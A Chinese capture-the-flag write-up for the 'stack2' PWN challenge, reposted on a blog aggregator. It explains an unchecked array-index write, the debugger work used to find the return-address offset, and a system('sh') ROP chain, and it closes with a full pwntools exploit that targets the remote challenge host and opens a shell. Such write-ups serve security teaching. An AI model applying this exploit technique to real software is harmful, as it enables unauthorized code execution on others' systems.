攻防世界_PWN_stack2

这篇具有很好参考价值的文章主要介绍了攻防世界_PWN_stack2。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

本文通过结合其他师傅的思路以及自己的一些理解完成。希望在记录自己所学知识的同时能够帮助有同样疑惑的人。pwn入门新手一个,如果有说错的地方请师傅们多多包涵

0x00 前置知识

本题关键汇编指令:mov指令和lea指令以及ret指令

mov

mov指令的功能是传送数据,它可以把一个操作数的值复制到另一个操作数中。例如:

  • mov eax, [ebp-18h],作用是将ebp-18h作为偏移地址,寻址找到内存单元,将该内存单元中的数据送至eax,类似于C语言中的eax=*(ebp-18h)

  • mov [ebp-1ch],eax,作用是将eax中的数据送至ebp-1ch作为偏移地址所指向的内存单元 。类似于C语言中的*(ebp-1ch)=eax

lea

lea指令的功能是计算有效地址,它可以把一个内存地址的值存入一个寄存器中。例如:

  • lea eax, [ebp-18h],作用是将ebp-18h作为一个地址(而不是一个值),存入eax寄存器中。类似于C语言中的eax=ebp-18h
  • lea [ebp-1ch],eax,作用是将eax寄存器中的值(假设为12345678h)存入ebp-1ch作为偏移地址所指向的内存单元。类似于C语言中的*(ebp-1ch)=*eax。(这个用法和本题没啥关系,只是提一嘴)

ret

这个应该都很熟悉了。ret指令的功能是从子程序返回,它可以把栈顶的值弹出并作为返回地址,跳转到调用子程序的地方。

0x01 漏洞代码

在选择change number后程序未对输入的数字进行审查,导致可以直接修改超出数字范围的内存数据,这样我们只要知道内存某个地方相对于数组的偏移,就能修改那个地方的内容

攻防世界_PWN_stack2

后门函数,经过师傅们的测试发现这个函数在远程运行时会提示没有bash,但是利用system函数和字符串sh执行system("sh")同样能达到我们的目的

攻防世界_PWN_stack2

0x02 解题思路及步骤

既然可以直接修改任意内存的数据,那么直接将main函数的返回地址修改为调用system("sh")的ROP链,然后在菜单中选择5.exit退出main函数,就可以将执行流转到system("sh")了。

2.1 求偏移量

想要修改内存数据,首先要知道偏移量

在ida中可以看出来数组相对于ebp的偏移量是70h,那返回地址相对于数组的偏移量就是74h

攻防世界_PWN_stack2

那就错了!!!,并不是所有函数的ebp都挨着返回地址,有时候会做一些调整。所以我们就需要知道main函数的返回的地址以及数组在内存中位置。这时候接下来我们就来通过动态分析求这两个值。

2.1.1确定数组在内存中的位置:

我们知道,这个数组是存在内存当中的,当我们向数组中存入第一个数字时,数字所在的位置就是数组首地址的位置(即&arr[0]==arr)。现在来读一下我们输入的第一个数字存入数组时的汇编代码[1]:

攻防世界_PWN_stack2

mov eax, [ebp-88h]表示将ebp-88h处的内存值,也就是我们输入的值,假设为1h,传送到eax寄存器中,此时eax=1h

mov ecx, eax表示将eax寄存器中的值(1h)传送到ecx寄存器中,此时ecx=1h

lea edx, [ebp-70h]表示将ebp-70h作为一个地址传送到edx寄存器中,此时假设ebp=00100000h,则edx=000FF890h即数组基地址

mov eax, [ebp-7Ch]表示将ebp-7Ch处的内存值,也就是记录循环次数的i,第一次循环i为0,传送到eax寄存器中,此时eax=0

add eax, edx表示将edx寄存器中的值(000FF890h)加到eax寄存器中的值(0),这一步相当于找到arr[0]的位置,此时eax=000FF890h

mov [eax], cl表示将ecx寄存器中的最低8位(即cl,值为01h)传送到内存地址为eax=000FF890h的单元中

在执行完这段代码后我们可以知道两件事:eax存放的值就是数组的地址地址的最低八位的值就是我们输入的值

在执行add eax,edx后eax的值:

攻防世界_PWN_stack2

执行mov [eax],cl之前0xffffcf88的值:0xf7fc17c0

攻防世界_PWN_stack2

执行mov [eax],cl之前0xffffcf88的值:0xf7fc1701

攻防世界_PWN_stack2

由此可以确定,0xffffcf88就是数组在内存中的位置

2.1.2 确定main函数的返回地址

这个就简单的多了,当我们执行到ret指令的时候,esp指向的地方就是main函数的返回地址

攻防世界_PWN_stack2

在程序最后打断点,查看esp的值:

攻防世界_PWN_stack2

esp此时的值是0xffffd00c,也就是main函数的返回地址

至此,我们就求出了偏移量0xffffd00c-0xffffcf88=0x84

2.2 构造ROP链

首先找到system函数和sh的地址,分别是0x080484500x08048987

攻防世界_PWN_stack2

攻防世界_PWN_stack2

在常规栈溢出中,我们的payload构成应该是

offset + system_addr + 0xdeadbeef + sh_addr

但是在这题中我们能直接修改内存内容,因此只要把system_addr和sh_addr填到栈上的相应位置即可。注意:由于每次我们只能修改1字节,所以要分成多次将ROP链的内容填到栈上

攻防世界_PWN_stack2

0x03 完整exp

菜鸡仿照别的师傅写的

from pwn import *
#io = process("./stack2")
io = remote("61.147.171.105",55215)
context(log_level='debug')

def change (index,number):
    io.recvuntil("exit\n")
    io.sendline(str(3))
    io.recvuntil(b"which number to change:\n")
    io.sendline(str(index))
    io.recvuntil("new number:\n")
    io.sendline(str(number))

io.recvuntil("How many numbers you have:\n")
io.sendline(str(1))
io.recvuntil("Give me your numbers\n")
io.sendline(str(1))

change(0x84,0x50)
change(0x85,0x84)
change(0x86,0x04)
change(0x87,0x08)

change(0x8c,0x87)
change(0x8d,0x89)
change(0x8e,0x04)
change(0x8f,0x08)

io.recvuntil(b"exit\n")
io.sendline(str(5))
io.interactive()

小声bb:在使用recvuntil接收字符串的时候最好确认一下字符串有没有打错,不然就会exp运行时会卡住。没错我就是那个笨比


  1. ebp+var_x的意思是ebp偏移为x的位置,在ida中选中var_x再按下H就可以将其转化为ebp-xh的形式 ↩︎文章来源地址https://www.toymoban.com/news/detail-466836.html

到了这里,关于攻防世界_PWN_stack2的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【PWN · Stack Smash】[2021 鹤城杯]easyecho

    花式栈溢出——Canary保护是吧?接化发,拿来吧你 目录 前言 一、代码分析 0.保护 1.main函数 2.sub_CF0()函数 (v9指向的函数) 二、Stack Smash过程 0.原理简述  1.条件与准备 2.地址泄露 ①真实地址泄露 ②flag地址泄露 ③argv[0]地址泄露 3.exp 总结  Canary保护,是在栈上插入一段随机

    2024年02月15日
    浏览(46)
  • Pwn系列之Protostar靶场 Stack6题解

    源码如下: 首先,我们先来分析这段程序在做什么? 第1-4行导入一些常见的库函数 第6行定义了getpath()函数 第8行定义了一个buffer数组,数组长度是64 第9行定义了一个unsigned int 变量,变量名ret 第11行打印输出字符串“input path please” 第13行用gets函数向buffer数组写入字符 第

    2023年04月18日
    浏览(36)
  • Pwn系列之Protostar靶场 Stack3题解

    这个比较有意思的是,main函数里定义了一个函数指针,为什么说是函数指针呢?因为在main+61指令中调用了 这个函数指针。栈图和之前的类似,不同的是我们需要修改函数指针指向的地址。 找到了win函数的地址 现在只需要修改函数指针的地址到win函数即可。

    2023年04月18日
    浏览(43)
  • 攻防世界-warmup

            只有一张图片,就查看源代码,有一个source.php。          查看source.php,白名单中还有一个hint.php。          hint.php告诉我们flag的位置ffffllllaaaagggg          但是直接跳转是没用的,构造payload。    

    2024年02月12日
    浏览(69)
  • 1、攻防世界第一天

    1、网站目录下会有一个robots.txt文件,规定爬虫可以/不可以爬取的网站。 2、URL编码细则:URL栏中字符若出现非ASCII字符,则对其进行URL编码,浏览器将该请求发给服务端;服务端会可能会先对收到的url进行解码,然后交给后端代码。 3、Post传参 将头部中第一行中的GET改成P

    2024年02月12日
    浏览(33)
  • 攻防世界ics-06

    题目描述:云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。 打开场景,查看页面。 但凡有超链接的都点一遍,发现只有“报表中心可以打开”。 选择日期范围,点击确定,页面无变化。准备截包,打开burpsuite,设置监听

    2024年02月16日
    浏览(48)
  • 攻防世界-baigeiRSA

    1.下载附件,得到压缩包,解压得到两个文件。    2.分析过程。 根据题目得到是RSA算法。 RSA是一种常用的非对称加密算法,由Ron Rivest、Adi Shamir和Leonard Adleman在1977年提出。它的安全性建立在大质数分解的困难性上,可以用来实现数据的加密和数字签名。RSA算法的基本原理是

    2024年02月13日
    浏览(35)
  • 攻防世界——dmd-50

    名字就告诉了我们这道题是md5加密 MD5加密就是把你给的任意长字符串转换为一个128位(16字节)的字符串,常用语数字签名        虚拟机跑了一下,看得出来是第一类,需要找到key或者直接拿 很明显的一段密文,提取出来 870438d5b6e29db0898bc4f0225935c0 md5在线解密破解,md5解密加

    2024年01月23日
    浏览(39)
  • 攻防世界pcap1

    题目描述:无 题目环境:https://download.csdn.net/download/m0_59188912/87016888 打开xxxxx.pacpng,协议分级。 发现主要数据在tcp中,过滤tcp流量寻找flag。 追踪流。 发现这里面的数据是python,将其另存为python,进行代码审计,将python代码进行添加与修改,运行。(python我不是太懂,这里参

    2024年02月13日
    浏览(42)
  • 攻防世界(fileinclude)

    记录一道简单的文件包含题,攻防世界的fileinclude。 打开环境 页面给出了flag在flag.php中,明确了目标,看一下网页源码 主要部分 $lan=$_COOKIE[\\\'language\\\'];        ==        $lan由cookie传入 if条件中        ==        $lan不存在则包含english.php,存在则会将$lan的值拼接.php然后进

    2024年02月13日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包